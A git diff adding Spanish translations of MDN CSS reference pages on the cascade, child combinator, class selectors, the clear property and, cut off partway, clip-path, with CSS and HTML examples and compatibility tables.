+<div>{{CSSRef}}</div>
+
+<div>La <strong>cascada</strong> es un algoritmo que define como combinar valores de propiedad originarios de diferentes fuentes. Este se encuentra en el núcleo de CSS, como enfatizafo por el nombre: <em>Hojas de Estilo en Cascada</em>. Este articulo explica que es cascada, el orden de las <span class="seoSummary">{{Glossary("CSS")}} </span><a href="/en-US/docs/Web/API/CSSStyleDeclaration">declaraciones</a> en cascada, y como esto te afecta, el desarrollador web.</div>
+
+<h2 id="¿Cuáles_entidades_CSS_participan_en_la_cascada">¿Cuáles entidades CSS participan en la cascada?</h2>
+
+<p>Solo las declaraciones CSS, es decir pares de propiedad/valor, participan en la cascada. Esto significa que las <a href="https://wiki.developer.mozilla.org/es/docs/Web/CSS/At-rule">at-rules</a> que contienen entidades distintas de las declaraciones, como una regla <code>@font-face</code> que contiene <em>descriptores</em>, no participan en la cascada. En estos casos, solo la regla-at en su conjunto participa en la cascada: aquí, la <code>@font-face</code> identificada por su descriptor de familia de tipografías. Si se definen varias reglas <code>@font-face</code> con el mismo descriptor, solo se considera la <code>@font-face</code>, como conjunto, más adecuada. </p>
+
+<p>Mientras que las declaraciones contenidas en la mayoría de las reglas-at -como aquellas en <code>@media</code>, <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">@document</span></font> o <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">@support</span></font> - participan en la cascada, las declaraciones contenidas en <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">@keyframes</span></font> no. Como con <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">@font-face</span></font>, solo la regla-at en su conjunto se selecciona a través del algoritmo en cascada.</p>
+
+<p>Finalmente, debemos tener en cuenta que {{cssxref ("@ import")}} y {{cssxref ("@ charset")}} obedecen a algoritmos específicos y no se ven afectados por el algoritmo en cascada.</p>
+
+<h2 id="Origin_of_CSS_declarations">Origin of CSS declarations</h2>
+
+<p>The CSS cascade algorithm's job is to select CSS declarations in order to determine the correct values for CSS properties. CSS declarations originate from different origins: the <strong>{{anch("User-agent stylesheets")}}</strong>, the <strong>{{anch("Author stylesheets")}}</strong>, and the <strong>{{anch("User stylesheets")}}</strong>.</p>
+
+<p>Though style sheets come from these different origins, they overlap in scope; to make this work, the cascade algorithm defines how they interact.</p>
+
+<h3 id="User-agent_stylesheets">User-agent stylesheets</h3>
+
+<p>The browser has a basic style sheet that gives a default style to any document. These style sheets are named <strong>user-agent stylesheets</strong>. Some browsers use actual style sheets for this purpose, while others simulate them in code, but the end result is the same.</p>
+
+<p>Some browsers let users modify the user-agent stylesheet. Although some constraints on user-agent stylesheets are set by the HTML specification, browsers still have a lot of latitude: that means that significant differences exist from one browser to another. To simplify the development process, Web developers often use a CSS reset style sheet, forcing common properties values to a known state before beginning to make alterations to suit their specific needs.</p>
+
+<h3 id="Author_stylesheets">Author stylesheets</h3>
+
+<p><strong>Author stylesheets</strong> are the most common type of style sheet. These are style sheets that define styles as part of the design of a given web page or site. The author of the page defines the styles for the document using one or more stylesheets, which define the look and feel of the website — its theme.</p>
+
+<h3 id="User_stylesheets">User stylesheets</h3>
+
+<p>The user (or reader) of the web site can choose to override styles in many browsers using a custom <strong>user stylesheet</strong> designed to tailor the experience to the user's wishes.</p>
+
+<h2 id="Cascading_order">Cascading order</h2>
+
+<p>The cascading algorithm determines how to find the value to apply for each property for each document element.</p>
+
+<ol>
+ <li>It first filters all the rules from the different sources to keep only the rules that apply to a given element. That means rules whose selector matches the given element and which are part of an appropriate media at-rule.</li>
+ <li>Then it sorts these rules according to their importance, that is, whether or not they are followed by <code>!important</code>, and by their origin. The cascade is in ascending order, which means that <code>!important</code> values from a user-defined style sheet have precedence over normal values originated from a user-agent style sheet:
+  <table class="standard-table">
+   <thead>
+    <tr>
+     <th scope="col"></th>
+     <th scope="col">Origin</th>
+     <th scope="col">Importance</th>
+    </tr>
+   </thead>
+   <tbody>
+    <tr>
+     <td>1</td>
+     <td>user agent</td>
+     <td>normal</td>
+    </tr>
+    <tr>
+     <td>2</td>
+     <td>user</td>
+     <td>normal</td>
+    </tr>
+    <tr>
+     <td>3</td>
+     <td>author</td>
+     <td>normal</td>
+    </tr>
+    <tr>
+     <td>4</td>
+     <td>animations</td>
+     <td></td>
+    </tr>
+    <tr>
+     <td>5</td>
+     <td>author</td>
+     <td><code>!important</code></td>
+    </tr>
+    <tr>
+     <td>6</td>
+     <td>user</td>
+     <td><code>!important</code></td>
+    </tr>
+    <tr>
+     <td>7</td>
+     <td>user agent</td>
+     <td><code>!important</code></td>
+    </tr>
+    <tr>
+     <td>8</td>
+     <td>transitions</td>
+     <td></td>
+    </tr>
+   </tbody>
+  </table>
+ </li>
+ <li>In case of equality, the <a href="/en-US/docs/Web/CSS/Specificity" title="/en-US/docs/Web/CSSSpecificity">specificity</a> of a value is considered to choose one or the other.</li>
+</ol>
+
+<h2 id="Resetting_styles">Resetting styles</h2>
+
+<p>After your content has finished altering styles, it may find itself in a situation where it needs to restore them to a known state. This may happen in cases of animations, theme changes, and so forth. The CSS property {{cssxref("all")}} lets you quickly set (almost) everything in CSS back to a known state.</p>
+
+<p><code>all</code> lets you opt to immediately restore all properties to any of their initial (default) state, the state inherited from the previous level of the cascade, a specific origin (the user-agent stylesheet, the author stylesheet, or the user stylesheet), or even to clear the values of the properties entirely.</p>
+
+<h2 id="CSS_animations_and_the_cascade">CSS animations and the cascade</h2>
+
+<p><a href="/en-US/docs/Web/CSSUsing_CSS_animations" title="/en-US/docs/Web/CSSUsing_CSS_animations">CSS animations</a>, using {{ cssxref("@keyframes")}} at-rules, define animations between states. Keyframes don't cascade, meaning that at any given time CSS takes values from only one single {{cssxref("@keyframes")}}, and never mixes multiple ones together.</p>
+
+<p>When several keyframes are appropriate, it chooses the latest defined in the most important document, but never combined all together.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>Let's look at an example involving multiple sources of CSS across the various origins; here we have a user agent style sheet, two author style sheets, a user stylesheet, and inline styles within the HTML:</p>
+
+<p><strong>User-agent CSS:</strong></p>
+
+<pre class="brush:css;">li { margin-left: 10px }</pre>
+
+<p><strong class="brush:css;">Author CSS 1:</strong></p>
+
+<pre class="brush:css;">li { margin-left: 0 } /* This is a reset */</pre>
+
+<p><strong class="brush:css;">Author CSS 2:</strong></p>
+
+<pre class="brush:css;">@media screen {
+  li { margin-left: 3px }
+}
+
+@media print {
+  li { margin-left: 1px }
+}
+</pre>
+
+<p><strong class="brush:css;">User CSS:</strong></p>
+
+<pre class="brush:css;">.specific { margin-left: 1em }</pre>
+
+<p><strong>HTML:</strong></p>
+
+<pre class="brush:html;">&lt;ul&gt;
+  &lt;li class="specific"&gt;1&lt;sup&gt;st&lt;/sup&gt;&lt;/li&gt;
+  &lt;li&gt;2&lt;sup&gt;nd&lt;/sup&gt;&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>In this case, declarations inside <code>li</code> and <code>.specific</code> rules should apply. No declaration is marked as <code>!important</code>, so the precedence order is author style sheets before user style sheets or user-agent stylesheet.</p>
+
+<p>So three declarations are in competition:</p>
+
+<pre class="brush:css;">margin-left: 0</pre>
+
+<pre class="brush:css;">margin-left: 3px</pre>
+
+<pre class="brush:css;">margin-left: 1px</pre>
+
+<p>The last one is ignored (on a screen), and the first two have the same selector, hence the same specificity. Therefore, it is the last one that is then selected:</p>
+
+<pre class="brush:css;">margin-left: 3px</pre>
+
+<p>Note that the declaration defined in the user CSS, though having a greater specificity, is not chosen as the cascade algorithm is applied before the specificity algorithm.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Cascade")}}</td>
+   <td>{{Spec2("CSS4 Cascade")}}</td>
+   <td>Added the {{CSSxRef("revert")}} keyword, which allows rolling a property back a cascade level.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Cascade")}}</td>
+   <td>{{Spec2("CSS3 Cascade")}}</td>
+   <td>Removed the override cascade origin, as it was never used in a W3C standard.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS2.1", "cascade.html", "the cascade")}}</td>
+   <td>{{Spec2("CSS2.1")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS1", "#the-cascade", "the cascade")}}</td>
+   <td>{{Spec2("CSS1")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance">A very simple introduction to the CSS cascade</a></li>
+ <li>{{CSS_Key_Concepts}}</li>
+</ul>
diff --git a/files/es/web/css/child_combinator/index.html b/files/es/web/css/child_combinator/index.html
new file mode 100644
index 0000000000..b191b809fd
--- /dev/null
+++ b/files/es/web/css/child_combinator/index.html
@@ -0,0 +1,119 @@
+---
+title: Selectores de hijo
+slug: Web/CSS/Child_combinator
+tags:
+  - CSS
+  - Principiante
+  - Referencia CSS
+  - Selectores
+translation_of: Web/CSS/Child_combinator
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p>El combinador <code>&gt;</code> separa a dos selectores y busca solo a los elementos que coindicen con el segundo selector y que son hijos <strong>directos</strong> del primero. EN contraste, cuando se combinan dos selectores con el <a href="/es/docs/Web/CSS/Descendant_selectors">selector de descendiente</a>, la expresión busca elementos que coinciden con el segundo selector y que tienen algun ancestro que coindice con el primero, sin importar el nivel de separación que tengan dentro del DOM.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">selector1 &gt; selector2 { <em>style properties</em> }
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: css">span { background-color: white; }
+div &gt; span {
+  background-color: DodgerBlue;
+}
+</pre>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;span&gt;Span #1, dentro del div.
+    &lt;span&gt;Span #2, dentro del span que está en el div.&lt;/span&gt;
+  &lt;/span&gt;
+&lt;/div&gt;
+&lt;span&gt;Span #3, no está dentro del div.&lt;/span&gt;
+</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 200, 100)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#child-combinators', 'child combinator')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#child-combinators', 'child combinators')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Sin cambios</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#child-selectors', 'child selectors')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>7.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/class_selectors/index.html b/files/es/web/css/class_selectors/index.html
new file mode 100644
index 0000000000..382be6e07e
--- /dev/null
+++ b/files/es/web/css/class_selectors/index.html
@@ -0,0 +1,128 @@
+---
+title: Selectores de clase
+slug: Web/CSS/Class_selectors
+tags:
+  - CSS
+  - Principiante
+  - Referencia CSS
+  - Selectores
+translation_of: Web/CSS/Class_selectors
+---
+<div>{{CSSRef("Selectors")}}</div>
+
+<p>En un documento HTML, los selectores de clase buscan un elemento basado en el contenido de su atributo <code>class</code>. El atributo {{htmlattrxref("class")}} está definido como una lista de elementos separados por espacio, y uno de esos elementos debe coincidir exactamente con el nombre de clase dado en el selector.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">.classname { <em>style properties</em> }</pre>
+
+<p>Nótese que esto es equivalente al siguiente {{Cssxref("Attribute_selectors", "selector de atributo")}}:</p>
+
+<pre class="syntaxbox">[class~=classname] { <em>style properties</em> }</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">span.classy {
+  background-color: DodgerBlue;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;span class="classy"&gt;Aquí hay un span con algo de texto.&lt;/span&gt;
+&lt;span&gt;Aquí hay otro.&lt;/span&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Ejemplo', 200, 50)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#class-html', 'class selectors')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Sin cambios</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#class-html', 'class selectors')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#class-html', 'child selectors')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#class-as-selector', 'child selectors')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/clear/index.html b/files/es/web/css/clear/index.html
new file mode 100644
index 0000000000..e66c285536
--- /dev/null
+++ b/files/es/web/css/clear/index.html
@@ -0,0 +1,239 @@
+---
+title: clear
+slug: Web/CSS/clear
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/clear
+---
+<div>{{CSSRef}}</div>
+
+<p>La propiedad <a href="/es/docs/CSS">CSS</a> <strong><code>clear </code></strong>especifica si un elemento puede estar al lado de elementos <a href="/es/docs/CSS/float">flotantes</a> que lo preceden o si debe ser movido (cleared) debajo de ellos. La propiedad <code>clear</code> aplica a ambos elementos flotantes y no flotantes.</p>
+
+<p>Cuando es aplicado a bloques no flotantes, mueve el <a href="/es/docs/CSS/box_model">border edge</a> del elemento hacia abajo hasta que este debajo del <a href="/es/docs/CSS/box_model">margin edge</a> de todos los floats relevantes. Este movimiento (cuando acontece) causa que <a href="/es/docs/CSS/margin_collapsing">margin collapsing</a> no ocurra.</p>
+
+<p>Cuando se aplica a elementos flotantes, mueve el <a href="/es/docs/CSS/box_model">margin edge</a> del elemento debajo del <a href="/es/docs/CSS/box_model">margin edge</a> de todos los floats relevantes. Esto afecta la posición de floats posteriores, ya que estos no pueden ser posicionados más arriba que los primeros.</p>
+
+<p>Los floats que son relevantes para ser limpiados (cleared) son los primeros floats dentro del mismo <a href="/es/docs/Web/Guide/CSS/Block_formatting_context">contexto de formato de bloque</a>.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>Si deseas que un elemento contenga todos los elementos flotantes dentro, puedes hacer dos cosas, o bien flotar el contenedor también o usar <code>clear</code> en un <a href="/es/docs/Web/CSS/Pseudo-elements">pseudo-element</a> {{cssxref("::after")}}.</p>
+
+<pre class="brush: css notranslate">#container::after {
+   content: "";
+   display: block;
+   clear: both;
+}
+</pre>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css notranslate">clear: none;
+clear: left;
+clear: right;
+clear: both;
+clear: inline-start;
+clear: inline-end;
+
+clear: inherit;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Es un keyword que indica que el elemento no es movido hacia abajo para limpiar elementos flotantes anteriores.</dd>
+ <dt><code>left</code></dt>
+ <dd>Es un keyword que indica que el elemento es movido hacia abajo para limpiar elementos flotantes a la izquierda.</dd>
+ <dt><code>right</code></dt>
+ <dd>Es un keyword que indica que el elemento es movido hacia abajo para limpiar elementos flotantes a la derecha.</dd>
+ <dt><code>both</code></dt>
+ <dd>Es un keyword que indica que el elemento es movido hacia abajo para limpiar tanto elementos flotantes de la izquierda como de la derecha.</dd>
+ <dt><code>inline-start</code> {{experimental_inline}}</dt>
+ <dd>Es un keyword que indica que el elemento es movido hacia abajo para limpiar elementos flotantes al inicio del bloque contenedor, estos son los elementos con valor float <em>left</em> en scripts ltr (left to right) y elementos con valor float <em>right</em> en scripts rtl (right to left).</dd>
+ <dt><code>inline-end</code> {{experimental_inline}}</dt>
+ <dd>Es un keyword que indica que el elemento es movido hacia abajo para limpiar floats al final del bloque contenedor, estos son los elementos con valor float <em>right</em> en scripts ltr (left to right) y elementos con valor float <em>left</em>  en scripts rtl (right to left).</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<div class="note"><strong>Nota: </strong>El div con clase 'wrapper' añade un borde para una mejor visibilidad de la utilidad de la propiedad clear</div>
+
+<h3 id="clear_left">clear: left</h3>
+
+<h4 id="Contenido_HTML">Contenido HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+
+    &lt;p class="black"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.&lt;/p&gt;
+
+    &lt;p class="red"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit.&lt;/p&gt;
+
+    &lt;p class="left"&gt;This paragraph clears left.&lt;/p&gt;
+
+&lt;/div&gt;
+</pre>
+
+<h4 id="Contenido_CSS">Contenido CSS</h4>
+
+<pre class="brush: css notranslate">.wrapper{
+    border:1px solid black;
+    padding:10px;
+}
+.left {
+    border: 1px solid black;
+    clear: left;
+}
+.black {
+    float: left;
+    margin: 0;
+    background-color: black;
+    color: #fff;
+    width: 20%;
+}
+.red {
+    float: left;
+    margin: 0;
+    background-color: red;
+    width:20%;
+}
+p {
+    width: 50%;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('clear:_left','100%','250') }}</p>
+
+<h3 id="clear_right">clear: right</h3>
+
+<h4 id="Contenido_HTML_2">Contenido HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+
+    &lt;p class="black"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.&lt;/p&gt;
+
+    &lt;p class="red"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit.&lt;/p&gt;
+
+    &lt;p class="right"&gt;This paragraph clears right.&lt;/p&gt;
+
+&lt;/div&gt;
+</pre>
+
+<h4 id="Contenido_CSS_2">Contenido CSS</h4>
+
+<pre class="brush: css notranslate">.wrapper{
+    border:1px solid black;
+    padding:10px;
+}
+.right {
+    border: 1px solid black;
+    clear: right;
+}
+.black {
+    float: right;
+    margin: 0;
+    background-color: black;
+    color: #fff;
+    width:20%;
+}
+.red {
+    float: right;
+    margin: 0;
+    background-color: red;
+    width:20%;
+}
+p {
+    width: 50%;
+}</pre>
+
+<p>{{ EmbedLiveSample('clear:_right','100%','250') }}</p>
+
+<h3 id="clear_both">clear: both</h3>
+
+<h4 id="Contenido_HTML_3">Contenido HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+
+    &lt;p class="black"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor. Fusce pulvinar lacus ac dui.&lt;/p&gt;
+
+    &lt;p class="red"&gt;Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Phasellus sit amet diam. Duis mattis varius dui. Suspendisse eget dolor.&lt;/p&gt;
+
+    &lt;p class="both"&gt;This paragraph clears both.&lt;/p&gt;
+
+&lt;/div&gt;
+</pre>
+
+<h4 id="Contenido_CSS_3">Contenido CSS</h4>
+
+<pre class="brush: css notranslate">.wrapper{
+    border:1px solid black;
+    padding:10px;
+}
+.both {
+    border: 1px solid black;
+    clear: both;
+}
+.black {
+    float: left;
+    margin: 0;
+    background-color: black;
+    color: #fff;
+    width:20%;
+}
+.red {
+    float: right;
+    margin: 0;
+    background-color: red;
+    width:20%;
+}
+p {
+    width: 45%;
+}</pre>
+
+<p>{{ EmbedLiveSample('clear:_both','100%','300') }}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Logical Properties', '#float-clear', 'float and clear')}}</td>
+   <td>{{Spec2('CSS Logical Properties')}}</td>
+   <td>Agrega los valores inline-start y inline-end</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#flow-control', 'clear')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Sin cambios significativos, aunque se aclaran los detalles.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#clear', 'clear')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<p>{{Compat("css.properties.clear")}}</p>
+
+<h2 id="También_puedes_ver">También puedes ver</h2>
+
+<ul>
+ <li><a href="/es/docs/Escuela_XUL/El_modelo_de_caja">El modelo de caja</a></li>
+</ul>
diff --git a/files/es/web/css/clip-path/index.html b/files/es/web/css/clip-path/index.html
new file mode 100644
index 0000000000..a5c78f6eb8
--- /dev/null
+++ b/files/es/web/css/clip-path/index.html
@@ -0,0 +1,179 @@
+---
+title: clip-path
+slug: Web/CSS/clip-path
+translation_of: Web/CSS/clip-path
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad CSS <code><strong>clip-path</strong></code> proviene que una porción de un elemento se muestre definiendo una región de recorte para mostrarse, es decir, solo una parte especifica del elemento se mostrara. La región recortada es un path especificado como una URL referenciando a un SVG inline o externo, o un metodo de figura como lo es <a href="/en-US/docs/Web/SVG/Element/circle">circle()</a>. La propiedad clip-path reemplaza la ahora deprecada propiedad <a href="/en-US/docs/Web/CSS/clip">clip</a>.</p>
+
+<pre class="brush:css no-line-numbers">/* Valores clave */
+clip-path: none;
+
+/* Valores de imagen */
+clip-path: url(resources.svg#c1);
+
+/* Valores de caja */
+clip-path: fill-box;
+clip-path: stroke-box;
+clip-path: view-box;
+clip-path: margin-box;
+clip-path: border-box;
+clip-path: padding-box;
+clip-path: content-box;
+
+/* Valores geometricos */
+clip-path: inset(100px 50px);
+clip-path: circle(50px at 0 100px);
+clip-path: polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%);
+
+/* Valores Geometricos y de caja combinados */
+clip-path: padding-box circle(50px at 0 100px);
+
+/* Valores globales */
+clip-path: inherit;
+clip-path: initial;
+clip-path: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>url()</code></dt>
+ <dd>Represents a URL referencing a clip path element.</dd>
+ <dt> </dt>
+ <dt><code>inset()</code>, <code>circle()</code>, <code>ellipse()</code>, <code>polygon()</code></dt>
+ <dd>A {{cssxref("&lt;basic-shape&gt;")}} function. Such a shape will make use of the specified <code>&lt;geometry-box&gt;</code> to size and position the basic shape. If no geometry box is specified, the <code>border-box</code> will be used as reference box.</dd>
+ <dt><code>&lt;geometry-box&gt;</code></dt>
+ <dd>If specified in combination with a <code>&lt;basic-shape&gt;</code>, it provides the reference box for the basic shape. If specified by itself, it uses the edges of the specified box including any corner shaping (e.g. defined by {{cssxref("border-radius")}}) as clipping path. The geometry box can be one of the following values:
+ <dl>
+  <dt><code>fill-box</code></dt>
+  <dd>Uses the object bounding box as reference box.</dd>
+  <dt><code>stroke-box</code></dt>
+  <dd>Uses the stroke bounding box as reference box.</dd>
+  <dt><code>view-box</code></dt>
+  <dd>Uses the nearest SVG viewport as reference box. If a {{SVGAttr("viewBox")}} attribute is specified for the element creating the SVG viewport, the reference box is positioned at the origin of the coordinate system established by the <code>viewBox</code> attribute and the dimension of the reference box is set to the width and height values of the <code>viewBox</code> attribute.</dd>
+  <dt><code>margin-box</code></dt>
+  <dd>Uses the <a href="CSS_Box_Model/Introduction_to_the_CSS_box_model">margin box</a> as the reference box.</dd>
+  <dt><code>border-box</code></dt>
+  <dd>Uses the <a href="CSS_Box_Model/Introduction_to_the_CSS_box_model">border box</a> as the reference box.</dd>
+  <dt><code>padding-box</code></dt>
+  <dd>Uses the <a href="CSS_Box_Model/Introduction_to_the_CSS_box_model">padding box</a> as the reference box.</dd>
+  <dt><code>content-box</code></dt>
+  <dd>Uses the <a href="CSS_Box_Model/Introduction_to_the_CSS_box_model">content box</a> as the reference box.</dd>
+ </dl>
+ </dd>
+ <dt><code>none</code></dt>
+ <dd>There is no clipping path created.</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush:css">/* inline SVG  */
+.target {
+  clip-path: url(#c1);
+}
+
+/* external SVG */
+.anothertarget {
+  clip-path: url(resources.svg#c1);
+}
+
+/* circle */
+.circleClass {
+  clip-path: circle(15px at 20px 20px);
+}</pre>
+
+<h2 id="Live_sample">Live sample</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;img id="clipped" src="https://mdn.mozillademos.org/files/12668/MDN.svg"
+    alt="MDN logo"&gt;
+&lt;svg height="0" width="0"&gt;
+  &lt;defs&gt;
+    &lt;clipPath id="cross"&gt;
+      &lt;rect y="110" x="137" width="90" height="90"/&gt;
+      &lt;rect x="0" y="110" width="90" height="90"/&gt;
+      &lt;rect x="137" y="0" width="90" height="90"/&gt;
+      &lt;rect x="0" y="0" width="90" height="90"/&gt;
+    &lt;/clipPath&gt;
+  &lt;/defs&gt;
+&lt;/svg&gt;
+
+&lt;select id="clipPath"&gt;
+  &lt;option value="none"&gt;none&lt;/option&gt;
+  &lt;option value="circle(100px at 110px 100px)"&gt;circle&lt;/option&gt;
+  &lt;option value="url(#cross)" selected&gt;cross&lt;/option&gt;
